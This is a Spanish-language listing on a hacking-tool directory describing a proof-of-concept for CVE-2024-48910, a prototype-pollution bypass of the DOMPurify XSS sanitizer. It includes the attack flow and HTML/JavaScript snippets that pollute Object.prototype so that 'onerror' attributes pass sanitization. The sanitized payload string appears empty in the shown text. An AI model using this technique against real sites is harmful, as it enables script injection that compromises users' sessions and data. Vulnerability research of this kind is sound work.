Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-48910-PoC — Exploit de prueba de concepto para CVE-2024-48910, que demuestra el bypass de contaminación de prototipos del sanitizador XSS DOMPurify para ejecutar JavaScript arbitrario mediante atributos HTML manipulados. | Kitploit
Herramientas/GitHubGitHub/mitchellzhou1/cve-2024-48910-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubmitchellzhou1/cve-2024-48910-poc

CVE-2024-48910-PoC

Exploit de prueba de concepto para CVE-2024-48910, que demuestra el bypass de contaminación de prototipos del sanitizador XSS DOMPurify para ejecutar JavaScript arbitrario mediante atributos HTML manipulados.

Ver Repositorio
2hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-48910-PoC

imagen

Resumen

CVE-2024-48910 DOMPurify, un sanitizador XSS solo para DOM, súper rápido y ultra tolerante para HTML, MathML y SVG, se encontró vulnerable a la contaminación de prototipos (CVE-2024-48910). La vulnerabilidad fue descubierta y corregida en la versión 2.4.2, con la divulgación inicial realizada el 31 de octubre de 2024 .


Impacto

La vulnerabilidad de contaminación de prototipos en DOMPurify podría permitir a los atacantes manipular los atributos del prototipo de objetos, lo que podría llevar a evasiones de seguridad y modificaciones no autorizadas del comportamiento de la aplicación. La alta puntuación CVSS indica un impacto potencial significativo en la seguridad del sistema, afectando particularmente la confidencialidad e integridad de los datos

Detalles Técnicos

A la vulnerabilidad se le ha asignado una puntuación base CVSS v3.1 de 9.1 (CRÍTICA) con la cadena de vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Esto indica que la vulnerabilidad puede ser explotada de forma remota con baja complejidad de ataque, no requiere privilegios ni interacción del usuario, y puede resultar en un alto impacto tanto en la confidencialidad como en la integridad, aunque sin afectar la disponibilidad

En los registros de cambios, se puede ver que se añadió un caso de prueba que involucra .__proto__., lo que sugiere que es una inyección de prototipo.

imagen

La siguiente línea que se añadió fue, lo que significa que antes estaba evaluando a true para cualquier cosa que fuera truthy. imagen

Flujo de Ataque y PoC

  1. Contaminar hasOwnProperty para que devuelva Object
  2. Contaminar ALLOWED_ATTR con ["src", "onerror"]
  3. DOMPurify clona su configuración usando la función vulnerable clone()
  4. La comprobación hasOwnProperty pasa para propiedades contaminadas (porque Object es truthy)
  5. La configuración contaminada se copia en la configuración interna de DOMPurify

Protección XSS eludida - onerror ahora está "permitido"

root@kitploit:~
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>

Notas al margen:

A pesar de actualizar a 2.4.2, todavía puedo hacer que aparezca alert()... todo lo que tienes que hacer es establecer Object.prototype.hasOwnProperty = () => true; para eludir la protección ¡¡LOL!!

root@kitploit:~
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Descargar herramienta